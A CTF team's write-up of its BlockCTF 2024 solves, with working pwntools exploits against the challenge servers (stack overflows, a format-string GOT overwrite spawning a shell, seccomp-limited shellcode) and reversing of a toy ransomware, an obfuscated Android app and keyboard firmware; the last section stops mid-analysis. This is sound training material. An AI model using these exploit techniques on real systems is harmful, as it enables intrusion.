.;,;.
BlockCTF 2024 100% Speedrun WR (7:38:22)

BlockCTF 2024 100% Speedrun WR (7:38:22)

Table of Contents

Introduction

Yesterday we participated in BlockCTF 2024, a quick midweek 24-hour jeopardy event. It was a nice change of pace from our usual college app and college grind that we are all busy with now.

In the end, we were not only able to place 1st, but we also full-cleared the event in just 7 hours and 38 minutes!! This left us the remaining 16 hours to make these writeups! We had a great time and thanks a bunch to the organizers for making these chals and being so kind and gracious throughout!

Here are our speedrun splits for the event if you wish to view by solve time:

Challenge NameCategoryTime to Solve
echopwn00:05:34
Only Wspwn00:10:40
Where’s My Key?crypto00:26:48
echo2pwn00:35:13
Glitch in the Cryptcrypto00:37:24
Sizer Ciphercrypto00:42:37
2048 hacker 0pwn00:57:07
2048 hacker 1pwn01:15:45
I Have No Syscalls And I Must Screampwn01:20:31
Nothin But Stringzrev01:20:10
Red Flagsrev01:58:30
Juggl3rweb02:03:56
An Elf on a Shelfrev02:18:56
WannaLaughrev02:54:19
2048 aimisc03:00:45
Flower Apprev03:00:58
go-mothweb03:03:01
Protect your API Keyrev04:56:27
Custom Keyboardrev07:38:22

Binary Exploitation

[00:05:34] echo

Solver
Category
pwn
Points
25
Files
echo.zip
Flag
flag{curs3d_are_y0ur_eyes_for_they_see_the_fl4g}

This simple server echos back what it hears. Can you make it say so̸met̸hing ḍ̣͂̅i̮̓f̆f̛ḙ̊rḙ̊nt̮̏? nc 54.85.45.101 8008

Standard 64 bit buffer overflow with no protections except for NX. They were even so kind as to provide us with a win function 😊:

#!/usr/bin/env python3
from pwn import *
 
context.binary = elf = ELF("./echo-app")
p = remote("54.85.45.101", 8008)
p = conn()
 
# solve or else
offset = 0x108
payload = flat([cyclic(offset), elf.sym.print_flag,])
p.sendline(payload)
 
p.interactive()

[00:10:40] Only Ws

Solver
Category
pwn
Points
50
Files
only_ws.zip
Flag
flag{kinda_like_orw_but_only_ws}

The flag is write there. All you have to do is get it. nc 54.85.45.101 8005

The program reads in 4096 bytes of input and then directly executes it as shellcode. Seccomp restricts us to only using the exit and write syscalls, but luckily the flag is loaded into memory and its address is leaked to us. All we have to do is setup one easy write syscall!

from pwn import *
 
context.arch = 'amd64'
p = remote('54.85.45.101', 8005)
 
p.recvuntil(b'at ')
addr = int(p.recvline().strip(), 16)
 
shellcode = f'''
mov rax, 1
mov rdi, 1
mov rsi, {addr}
mov rdx, 100
syscall
'''
 
p.sendline(asm(shellcode))
p.interactive()

[00:35:13] echo2

Solver
Category
pwn
Points
125
Files
echo2.zip
Flag
flag{aslr_and_canari3s_are_n0_match_f0r_l3aky_stacks}

I fixed my echo server by enabling lots of protections. Now what can you do? nc 54.85.45.101 8009

Almost identical source as the first echo challenge, but this time every protection is enabled. Luckily, the former puts() call in echo is now a printf() and this logic is wrapped in a while-true loop. This lets us take all the time we need to get leaks and then build our payload. The only leaks necessary are the canary and any ELF address, then it’s another standard buffer overflow!

from pwn import *
 
elf = ELF("./echo-app2")
context.binary = elf
 
def conn():
    if args.GDB:
        script = """
        b *(do_echo+372)
        c
        """
        p = gdb.debug(elf.path, gdbscript=script)
    elif args.REMOTE:
        p = remote("54.85.45.101", 8009)
    else:
        p = process(elf.path)
    return p
 
def run():
    global p
    p = conn()
 
    payload = b'%39$p.%51$p'
    p.sendline(payload)
 
    res = p.recv(33).split(b'.')
    canary = int(res[0], 16)
    elf.address = int(res[1], 16) - elf.symbols['main']
 
    payload2 = b'A'*264 + p64(canary) + b'B'*8 + p64(elf.symbols['print_flag'])
    p.sendline(payload2)
 
    p.interactive()
 
run()

[00:57:07] 2048 hacker 0

Solver
Category
pwn
Points
150
Files
2048-hacker-0.zip
Flag
flag{u_r_b3st_numb3r_0ne_f4st3st_2048_champi0n_0f_all_tim3}

The game is rigged against you. nc 54.85.45.101 8007

By some stroke of luck, I had solved a nearly identical challenge in my Binary Exploitation lab a few weeks back. It’s a regular 2048 game where the goal is to reach… 2048! There are no flaws in the implementation of the game itself, but there lies a vulnerability in the printf() call that occurs when an invalid command is entered.

image

Unfortunately, our input is read in with getline() meaning it will be stored on the heap rather than the stack, preventing us from getting a trivial arbitrary read/write or using pwntools’ fmtstr_payload() function. However, we still get infinite printf() calls and can use a pointer-chain instead. Also, the lack of PIE lets us directly write any addresses we may want to read or write onto the stack using %{value}c%{offset}lln as the addresses are so small and all the characters can be reasonably written in one go.

In situations like this, my go-to pointer chain is that of argv which then points to the program name. This is easy to recognize even just by looking at a dump of pointers as it is usually the most repeated stack pointer closest to the top of the stack.

image

You can also always double check this using a combination of %p and %s. In this case:

  • %31$p = stack pointer to argv
  • %31$s = stack pointer to program name
  • %61$p = stack pointer to program name
  • %61$s = program name string

Now that we know that offset 31 points to offset 61 the rest is easy. I first wrote the address of the FLAG global variable to 31 and then leaked it using 61 which gave me the actual address of the flag string on remote.

%{elf.symbols['FLAG']}c%31$lln
%61$s

This turned out to always be 0x404018 (4210712 in decimal), so we can do the same to get the flag.

%4210712c%31$lln
%61$s

[01:15:45] 2048 hacker 1

Category
pwn
Points
350
Files
2048-hacker-1.zip
Flag
flag{s00p3r_d00p3r_h4cker_sup3ri0rity}

If you solved 2048 hacker 0 you know the game is actually rigged in your favor. Go get a shell! nc 54.85.45.101 8007

Next, we need to decide where to write this. Fortunately enough, the binary only has Partial RELRO allowing us to attack any of the GOT entries. These are also much more desirable to utilize as their addresses are small and like last time can be written in one go, if we wanted to write somewhere like libc this would take some extra work.

image

I eventually chose to target free’s GOT entry as it was called with a single argument, our input, and it was only called if we typed in q to quit. This is important as it lets us write our desired address using multiple writes which decreases the complexity of our payloads.

Here’s my final script that leaks libc and then writes the address of system to free’s GOT entry 2 bytes at a time. To get a shell all we have to do is type something like: q;/bin/sh

from pwn import *
 
elf = ELF("./2048-hacker-solvable-distr.out")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
 
def conn():
    if args.GDB:
        script = """
        b main
        c
        """
        p = gdb.debug(elf.path, gdbscript=script)
    elif args.REMOTE:
        p = remote("54.85.45.101", 8007)
    else:
        p = process(elf.path)
    return p
 
def run():
    global p
    p = conn()
 
    p.sendline(f'%{elf.got.printf}c%31$lln'.encode())
    p.sendline(b'%61$s')
    p.recvuntil(b'Invalid command\n')
    p.recvuntil(b'Invalid command\n')
    libc.address = u64(p.recvline().strip().ljust(8, b'\x00')) - libc.symbols['printf']
 
    to_write = libc.symbols['system']
    for i in range (4):
        p.sendline(f'%{elf.got.free + (i*2)}c%31$lln'.encode())
        if to_write & 0xffff == 0:
            p.sendline(b'%61$hn')
        else:
            p.sendline(f'%{to_write & 0xffff}c%61$hn'.encode())
        to_write >>= 16
 
    p.sendline(b'q;/bin/sh')
 
    p.interactive()
 
run()

[01:20:31] I Have No Syscalls And I Must Scream 🩸

Category
pwn
Points
350
Files
i-have-no-syscalls-and-i-must-scream.zip

write(1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH", 64); note: solving this does not require tens of thousands of repeat connections, and trying to do so will probably kill our infrastructure before you get your flag. Please don’t attack the Infrastructure! nc 54.85.45.101 8002

I Have No Syscalls And I Must Scream was the second hardest pwn challenge (by point value) in Block CTF 2024. As of writing, it has 25 solves, of which we (.;,;.) were the first solve.

This was a fairly straightforward shellcoding problem. The binary first writes the flag to a randomly-generated address in memory. Next, it prompts the user to input the syscall number of the syscall they wanted to use. Afterwards, it would prompt the user for shellcode, and then execute the shellcode. The challenge adds some seccomp rules to prevent the user from accessing any syscalls other than the syscall selected (and exit).

The flag is written at a randomly-generated address within a page mmap’ed at a random address in memory. That address is some offset away from HAYSTACK (0x4200000). When asked to write out content from an invalid address in memory, write() will return EFAULT instead of segfaulting/otherwise crashing. Therefore, we can use write as an oracle to find the page in memory where the flag has been stored. Since there are no “dummy pages” between HAYSTACK and the flag page where the flag is not stored, we can repeatedly call write on each possible page location above HAYSTACK. If write() is successful (it returns a non-zero number of bytes), then we have found the page where the flag has been written

We start at HAYSTACK and attempt to write out one byte. If the write was unsuccessful, then we increment the write source by 0x1000 and try again. If the write was successful, then we write out the entire page we found (which should just be the flag and a bunch of 0s).

#!/usr/bin/python3
from pwn import *
from keystone import *
 
context.terminal = ["gnome-terminal", "--execute"]
 
 
 
ks = Ks(KS_ARCH_X86, KS_MODE_64)
 
def compile_shellcode(shellcode) :
    result = bytearray()
    for instruction in shellcode :
        encoding, _ = ks.asm(instruction)
        for byt in encoding :
            result.append(byt)
    return result
 
shellcode = []
# set up our oracle
shellcode_start = 0x690000
shellcode.append("mov rsi, 0x4200000")
shellcode.append("add rsi, 0x1000")
shellcode.append("mov rax, 1")
shellcode.append("mov rdi, 1")
shellcode.append("mov rdx, 1")
shellcode.append("syscall")
shellcode.append("cmp rax, 1")
shellcode.append("je 0xa")
old_len = len(compile_shellcode(shellcode))
shellcode.append("mov rbx, 0x690007")
shellcode.append("jmp rbx")
print("Len: " + str(len(compile_shellcode(shellcode)) - old_len))
#do the syscall
shellcode.append("mov rdx, 0x1000")
shellcode.append("syscall")
 
#sock = process(argv=["./ihnsaims", "jflaskdjflksadjflkasdjfsdfoiwu"])
#gdb.attach(sock)
sock = remote("54.85.45.101", 8002)
 
raw_input("hey")
sock.sendlineafter("pick a number", str(1))
 
compiled_shellcode = compile_shellcode(shellcode)
sock.sendlineafter("execute!", compiled_shellcode)
sock.recvuntil("luck!\n")
output = sock.recv()
print(output.hex())
sock.interactive()

The challenge title is inspired by the sci-fi horror novel I Have No Mouth, and I Must Scream. Kudos to the challenge author for being an avid reader!


Reverse Engineering

[01:20:10] Nothin But Stringz

Solver
Category
rev
Points
25
Files
nothin-but-stringz.zip
Flag
flag{al1_th3_h0miez_l0v3_llvm_643e5f4a}

Someone sent me this as a test of friendship, but I can’t make heads or tails out of it. Can you help?

Running file on the file gives us:

nothin_but_stringz.c.o: LLVM bitcode, wrapper

Judging by the file name, we strings the file:

b
 0$JY
P$v`
f$c0
fLg0
r2H #
(d<12B
SDK Versionwchar_sizePIC Leveluwtableframe-pointerApple clang version 15.0.0 (clang-1500.3.9.4)
@03
   G
C$3
   L
A00 )`
.strflag.str.1mainprintf18.1.8arm64-apple-ios7.0.0nothin_but_stringz.c_main_printfL_.str_flagL_.str.1

And of course, there’s nothing interesting in there. Tried to use objdump:

/Applications/Xcode-beta.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/objdump: error: 'nothin_but_stringz.c.o': The file was not recognized as a valid object file

This didn’t work either. Doing some research online, you can find to decompile the LLVM bitcode you need the llvm-dis tool. And then it would output an ll file:

; ModuleID = 'nothin_but_stringz.c.o'
source_filename = "nothin_but_stringz.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-ios7.0.0"
 
@.str = private unnamed_addr constant [40 x i8] c"flag{al1_th3_h0miez_l0v3_llvm_643e5f4a}\00", align 1
@flag = global ptr @.str, align 8
@.str.1 = private unnamed_addr constant [25 x i8] c"The flag begins with %c\0A\00", align 1
 
; Function Attrs: noinline nounwind optnone ssp uwtable(sync)
define i32 @main() #0 {
  %1 = alloca i32, align 4
  store i32 0, ptr %1, align 4
  %2 = load ptr, ptr @flag, align 8
  %3 = getelementptr inbounds i8, ptr %2, i64 0
  %4 = load volatile i8, ptr %3, align 1
  %5 = sext i8 %4 to i32
  %6 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %5)
  ret i32 0
}
 
declare i32 @printf(ptr noundef, ...) #1
 
attributes #0 = { noinline nounwind optnone ssp uwtable(sync) "frame-pointer"="non-leaf" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="apple-a7" "target-features"="+aes,+crypto,+fp-armv8,+neon,+sha2,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="apple-a7" "target-features"="+aes,+crypto,+fp-armv8,+neon,+sha2,+v8a,+zcm,+zcz" }
 
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
 
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 14, i32 4]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 15.0.0 (clang-1500.3.9.4)"}

[01:58:30] Red Flags 🩸

Solver
Category
rev
Points
150
Files
red-flags.zip
Flag
flag{now_wishlist_me_on_steam}

I made a video game, its really hard!

Using GDRE Tools, we can extract the entire Godot project. Looking at the source, we see this script in arena.tscn:

extends Node2D
 
var flags
# Called when the node enters the scene tree for the first time.
func _ready():
    flags = get_children().filter(func(child): return child.name.match("Flag_*"))
 
func hex_byte_to_int(c):
    if c >= 0x30 && c <= 0x39:
        return c - 0x30
    else:
        return c - 0x37
 
# Called every frame. 'delta' is the elapsed time since the previous frame.
func _process(delta):
    var states = []
    for flag in flags:
        states.append(int(flag.target_state))
    var flaggregate = "".join(states)
    var sha = flaggregate.sha1_text().to_upper()
    sha += flaggregate.md5_text().to_upper()
    var chars = %FlagText.get_children()
    for i in chars.size():
        chars[i].target_x = hex_byte_to_int(sha.unicode_at(i * 2)) - 8
        chars[i].target_y = hex_byte_to_int(sha.unicode_at((i * 2) + 1)) - 8

There are 1024 unique possible states since there are 10 “Flag_*” objects, so we can brute force all possible states and pick the one where the characters lie close together on the Y axis.

from hashlib import sha1, md5
 
def hex_byte_to_int(c):
    if c >= 0x30 and c <= 0x39:
        return c - 0x30
    else:
        return c - 0x37
 
chars = []
arena = open('arena.tscn', 'r').read().split('\n')[151:]
for i in range(30):
    chunk = arena[i*9:i*9+9]
    x = float(chunk[1].split()[-1])
    y = float(chunk[2].split()[-1])
    text = eval(chunk[5].split()[-1])
    # print(x, y, text)
    chars.append((x, y, text))
 
S = 50
for i in range(2**10):
    b = bin(i)[2:].zfill(10)
    sha = sha1(b.encode()).hexdigest().upper().encode()
    sha += md5(b.encode()).hexdigest().upper().encode()
 
    X, Y = [], []
    for i in range(30):
        X.append(hex_byte_to_int(sha[i * 2]) - 8)
        Y.append(hex_byte_to_int(sha[i * 2 + 1]) - 8)
 
    chars_moved = []
    for i, (x, y, text) in enumerate(chars):
        chars_moved.append((x + X[i] * S, y + Y[i] * S, text))
 
    chars_moved_y = [y for x, y, text in chars_moved]
    if max(chars_moved_y) - min(chars_moved_y) < 100:
        # print(b)
        chars_moved.sort(key=lambda x: x[0]) # left to right
        print(''.join([text for x, y, text in chars_moved]))

[02:18:56] An Elf on a Shelf

Solver
Category
rev
Points
250
Files
an-elf-on-a-shelf.zip

What’s going on here?

The bounds of the inner image are (215, 215, 335, 333). Looking at the inner image itself, we notice the top right corner has b'\x7fELF right-to-left. We can then extract the entire ELF like so:

from PIL import Image
 
img = Image.open('elf.png')
bounds = (215, 215, 335, 333)
 
crop = img.crop(bounds)
# crop.save('extract.png')
 
# 2 by 2 blocks
block_size = 2
 
dat = []
# start from top right, go left to right, top to bottom
for y in range(0, crop.height, block_size):
    for x in range(crop.width - block_size, -1, -block_size):
        block = crop.crop((x, y, x + block_size, y + block_size))
        byt = block.getpixel((0, 0))
        r, g, b, _ = byt
        dat.extend([r, g, b])
 
open('dump.bin', 'wb').write(bytes(dat))

Then, after reversing the binary, we see that it is embedding the flag into the red pixels of elf.png after passing through an SBOX. We can extract the sbox and the red pixels and then reverse the sbox to get the flag.

from PIL import Image
 
img = Image.open('elf.png')
 
sbox = b"\xae\'\xb1\x8dw\x19\xa4o\xb0H\x91\xf8\x16i\xee\xf60\xd2\xda\xaa.\x88]c9\xcf\x17\xe1\xb5\xe2<\x1a\xac>\x07\x8e\xcdv?8\xb6~\xf0\xc7\x97\xad\x82R\xfa\xdc\xde\x86\xf5)X|\xfbZ5\xf4-\xe9\x8b\x0b\x12\xc4\x83\x8a\xb8\xd6\x0c\x1cN\xe3!T,\xca\x9ap\xbb\x06\xab\xe7Y^\xfd\xffU\x8f\x0e\xe4\xc54\x8cq\xcehr\tL\x01Q\xfclIK\x1b\xd5\xb9\x7fM\x85\x0f\xc6\xdb\x1d\xaf\x95d\x90W\n\xa5\x04\xfeP\xbc\x10{u\x9c\xa0}\xdd\xe8\x1f\xc81x\x81\xd9`\xcc\xedS#\xb2_\x9b\x9d\x94\x14\x05z\xc1[\x80\xdf&(\xa1\xef\xb4\x99%*J\x98:\x89\x03G\xc2k\xc3\\\xa7\x02\xf1\xd7@\xf9\xd0/\xc06\xd4Esj\xb3a\xd1Agn \x96B\"7\x15V\xbaD\x18F\xcb\x1e3\xd8\xa6\x00\x92\xeb=$+b\xec\x13\xe5\x84\xe0e\x9f\xe6\xf3\xf2\xb7O\x93\xbf\xf7\xd3\xeam\x872f\x08\r\xc9\xa2C\xa8yt\xbd\x11\xbe\xa9\x9e;\xa3"
 
inv_sbox = [sbox.index(i) for i in range(256)]
 
x = 0x40
y = img.height - 0x40
 
bits = []
for i in range(0x10):
    for j in range(0x10):
        r = img.getpixel((x + j, y + i))[0]
        bits.append(r & 1)
 
byts = [int(''.join(map(str, bits[i:i+8])), 2) for i in range(0, len(bits), 8)]
byts = bytes([inv_sbox[i] for i in byts])
print(byts)

[02:54:19] WannaLaugh 🩸

Solver
Category
rev
Points
200
Files
wanna-laugh.zip
Flag
flag{D0nT_cRy_n0-M0re}

Grandpa downloaded a weird program on the Internet and now his files don’t work. Knowing you’re good with computers, he asked for your help. The program is asking for Bitcoin to get his files back, but his wallet password was encrypted as well. Note: The program will only encrypt .txt files in the same directory as the executable and won’t delete any files so nothing bad should happen…

We are only interested in the most recent layer of the Docker image, so we can extract b174a0967b592f30503d3a16a04f1f145f010625aa999a28ff7b2bbdb247a96f from the blobs and look at it seperately.

Since it is a Docker image, this file is a POSIX tar image, and extracting gives us two files, flag.txt.enc and ransom.

Reversing ransom, we see it uses srand(time(null)) to generate a random AES key and IV. Thankfully, since tar preserves file modification date, we can recover the time the file was created like so:

$ tar --full-time -tvf dump.tar
drwxr-xr-x 0/0               0 2024-09-04 09:12:18 usr/
drwxr-xr-x 0/0               0 2024-09-04 09:12:18 usr/local/
drwxr-xr-x 0/0               0 2024-10-23 19:59:04 usr/local/src/
-rw-r--r-- 0/0            1392 2024-10-23 19:59:04 usr/local/src/flag.txt.enc
-rwxr-xr-x 0/0           73960 2024-10-23 19:59:04 usr/local/src/ransom

We can then take that time and use it to regenerate the key and IV to decrypt the flag

from ctypes import CDLL
import datetime
from Crypto.Cipher import AES
 
libc = CDLL("libc.so.6")
 
def generate_random_bytes(seed, n):
    libc.srand(seed)
    result = b""
 
    # for _ in range(n):
    #     x0_1 = libc.rand()
    #     x1 = -x0_1
 
    #     if x1 < 0:
    #         x2_1 = x0_1 & 0xff
    #     else:
    #         x2_1 = (-x1 & 0xff)
 
    #     result += bytes([x2_1 & 0xff])
    result = bytes([libc.rand() & 0xff for _ in range(n)])
 
    return result
 
# 2024-10-23 19:59:04
time = datetime.datetime(2024, 10, 23, 19, 59, 4)
time = round(time.timestamp())
 
key = generate_random_bytes(time, 32)
iv = generate_random_bytes(time, 16)
enc = open('flag.txt.enc', 'rb').read()
 
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(enc)
print(flag.decode())

Running this prints out the flag:

⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣾⣿⣿⣿⣿⣷⣶⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⠀⠀⠀⠀⠀
⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀
⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⠟⠿⠿⡿⠀⢰⣿⠁⢈⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀
⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣤⣄⠀⠀⠀⠈⠉⠀⠸⠿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀
⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⠀⢠⣶⣶⣤⡀⠀⠈⢻⣿⣿⣿⣿⣿⣿⣿⡆
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠼⣿⣿⡿⠃⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣷
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⢀⣀⣀⠀⠀⠀⠀⢴⣿⣿⣿⣿⣿⣿⣿⣿⣿
⢿⣿⣿⣿⣿⣿⣿⣿⢿⣿⠁⠀⠀⣼⣿⣿⣿⣦⠀⠀⠈⢻⣿⣿⣿⣿⣿⣿⣿⡿
⠸⣿⣿⣿⣿⣿⣿⣏⠀⠀⠀⠀⠀⠛⠛⠿⠟⠋⠀⠀⠀ ⣾⣿⣿⣿⣿⣿⣿⣿⠇
⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⣤⡄⠀⣀⣀⣀⣀⣠⣾⣿⣿⣿⣿⣿⣿⣿⡟⠀
⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣄⣰⣿⠁⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠀⠀
⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀
⠀⠀⠀⠀⠀⠙⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠻⠿⢿⣿⣿⣿⣿⡿⠿⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
 
flag{D0nT_cRy_n0-M0re}

[03:00:58] Flower App 🩸

Solver
Category
rev
Points
200
Files
flower-app.zip
Flag
flag{congrats_on_swiftly_decoding_this}

I swiftly drew some flowers!

Looking through the binary, we notice three suspicious base64 strings:

image

Then in the flowerapp.load function, we see it initializes some data with initWithBase64EncodedString, probably the three strings from earlier.

Going down through that function, we eventually get a call to CCCrypt. With a bit of googling, it turns out CCCrypt is just AES-CBC. Decoding the base64 strings shows that the first string is 32 bytes long and the second string is 16 bytes long, clearly the key and IV.

We can then just decrypt the last string, which is just the encrypted flag:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
 
key = 'qQwrmkzuhJv6fzCF2XsxuaB+ZBtMEH+Cd3fpTgJpEM8='
iv = 'FjmNRmlNzMZYK8TbIItuVA=='
enc = '8XvXFKhm8YFfQShtVXcNZh5F8q0zBJMTnfBSh33SEr8r4hMWb/E2VJq20QO2Byef'
 
key = base64.b64decode(key)
iv = base64.b64decode(iv)
enc = base64.b64decode(enc)
 
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(enc)
 
print(unpad(flag, 16).decode())

[04:56:27] Protect your API Key 🩸

Solver
Category
rev
Points
400
Files
protect-your-api-key.apk
Flag
flag{3fh9.gkf29j.7}

Bob is creating an app in which he needs to include a particular SDK. To use the SDK, he applied for an API Key which needs to pass to the SDK in the runtime. Considering the Key is not free, Bob is trying multiple approaches to protect it.

Opening up the APK in jadx, we see it immediately loads a native library with not much other functionality.

Unfortunately, the native library that is loaded is full of obfuscation:

image

Fortunately, it turns out this obfuscation is only used to decrypt strings that are later then used to access and call certain functions.

I wrote a small unicorn script to emulate the decrypt, since all it does is perform a bunch of operations on fixed bytes from the binary.

from unicorn import *
from unicorn.x86_const import *
import lief
import capstone
 
libapp = open("libapp.so", "rb").read()
elf = lief.parse(libapp)
size = 0x40000
 
cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
 
start = 0x0001ba9b
end = 0x0001bba2
 
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(0, size)
mu.mem_write(0, libapp)
 
# stack
mu.mem_map(0x1000000, 0x2000, UC_PROT_ALL)
mu.reg_write(UC_X86_REG_RSP, 0x1000000)
 
# def hook_code(uc, address, size, user_data):
#     code = mu.mem_read(address, size)
#     for i in cs.disasm(code, address):
#         print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
#         print("RSP: 0x%x" % mu.reg_read(UC_X86_REG_RSP))
#         # input()
 
#     pass
 
# mu.hook_add(UC_HOOK_CODE, hook_code)
 
mu.emu_start(start, end)
 
def dump_stack(uc: Uc, size=0x200):
    rsp = uc.reg_read(UC_X86_REG_RSP)
    dat = b''
    for i in range(0, size + 1, 8):
        # d = st.unpack('<Q', uc.mem_read(rsp + i, 8))[0]
        # print(f"0x{rsp + i:x}: 0x{d:016x}")
        dat += uc.mem_read(rsp + i, 8)
    print(dat)
    print(dat.decode())
 
dump_stack(mu)

Using this script, we can recover the string names to see what functions are being called:

image

Going through the function and decrypting the strings, we see that it opens a file called 8.data in the APK assets, then initializes an javax.crypto.Cipher with AES-ECB and a decrypted key, then decrypts the data in 8.data.

After extracting the data myself, I found that it was a DEX file containing more code.

from Crypto.Cipher import AES
 
key = b'gr3443.,g,3-s@[w'
data = open('8.data', 'rb').read()
 
c = AES.new(key, AES.MODE_ECB)
 
dec = c.decrypt(data)
open('8.dex', 'wb').write(dec)

After converting the DEX file to a JAR using dex2jar, we see the real internal APK.

package com.some.real.better.practice.myapplication;
 
import android.util.Base64;
import android.util.Log;
import com.some.map.sdk.Entry;
import com.some.map.sdk.Navigator;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
 
/* loaded from: 8.jar:com/some/real/better/practice/myapplication/RideHailing.class */
public class RideHailing extends Thread {
    public static String decryptMsg(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec("er34rgr3443.,g,3-09gjs@[wpef9j3j".getBytes(), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(2, secretKeySpec);
        return new String(cipher.doFinal(bArr), "UTF-8");
    }
 
    public static byte[] encryptMsg(String str) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec("er34rgr3443.,g,3-09gjs@[wpef9j3j".getBytes(), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, secretKeySpec);
        return cipher.doFinal(str.getBytes("UTF-8"));
    }
 
    private void logLocation(Navigator navigator) {
        Log.v(Navigator.class.getName(), "Your location is " + navigator.locate());
    }
 
    @Override // java.lang.Thread
    public void start() {
        try {
            logLocation(new Entry().initialization(decryptMsg(Base64.decode("9Bmk+Nc8i7oz2+sRYI9Q1fZ/metvBlUzoMMdC2aLstA=", 2))));
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

Decrypting the base64 in start following the code gives us the flag:

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
 
data = '9Bmk+Nc8i7oz2+sRYI9Q1fZ/metvBlUzoMMdC2aLstA='
key = 'er34rgr3443.,g,3-09gjs@[wpef9j3j'
 
data = base64.b64decode(data)
key = key.encode()
 
c = AES.new(key, AES.MODE_ECB)
 
print(unpad(c.decrypt(data), AES.block_size).decode())

[07:38:22] Custom Keyboard 🩸

Category
rev
Points
400
Files
custom-keyboard.bin
Flag
flag{DIETASTATURISTMACHTIGERALSDASSCHWERT}

I got a sweet deal on this keyboard at a garage sale, but I think whoever used it before me messed with the settings. It came with an instruction manual that just says: KKPE{FJZBSVNBYWWOKOJIPNWGPGASCVVYPAYLAHTX} NOTE: The flag will be in ALL CAPS, like FLAG{...} NOTE: The flag was typed continuously 🎹

The challenge hints towards the idea that the binary has something to do with a keyboard, and the only idea that really makes sense is for it to be some sort of firmware. Running file on the binary is misleading, telling us that it’s TTComp archive data, binary, 1K dictionary. However, there are some ways to help confirm that this is some sort of firmware.

Running strings on the binary gives some interesting information, one specific string which helped us was:

Last sector intended to be used with wear_leveling is beyond available flash descriptor range

Searching for this string online leads us to [wear_leveling] efl updates (#22489) · 75d11e0421 - varl/qmk_firmware - meatbag. This tells us that the binary is probably firmware for a QMK keyboard.

When opening the binary in Binary Ninja, it predicts that the architecture is thumb2:

binja predicted arch

Looking through the disassembly, everything seems correct and there aren’t many unsupported instructions, which tells us that Binary Ninja was most likely right and that this really is firmware.

There are 1000+ functions defined by Binary Ninja, which is too many to manually look through for the relevant code. In this situation, it’s a good idea to look through any interesting strings and see where it’s being used. Looking through the strings in Binary Ninja, there’s one that catches my eye:

interesting string

A lot of seemingly random uppercase letters in a row? Remembering that the flag is also in all caps (given in the description of the challenge), it seems like this string will be useful. However, Binary Ninja can’t find any cross-references for it. Strange.

Carefully reviewing some of the decompiled code, we see many references to some value 0x80XXXXX which gets dereferenced. This makes me think that the binary is supposed to be mapped at some static address, which is very easy to change with Binary Ninja. Going to Analysis > Rebase…, we can set the address we want the beginning of the binary to be mapped at:

rebase

After rebasing, we finally see our interesting string being used in the code:

referenced string

Going to the function that the string is being used in, we see code that definitely doesn’t look like your typical keyboard firmware:

initial func decomp

Taking a look at the parent function, we see some more interesting code:

parent func

From this code, it becomes somewhat more clear what’s going on. The case where some argument is subtracted by 0x41 and then later encrypted seems very suspicous, especially once you realize that 0x41 is A in ASCII. We can assume that it’s probably passing some character, most likely our keyboard input, into the function we discovered earlier and then encrypting it.

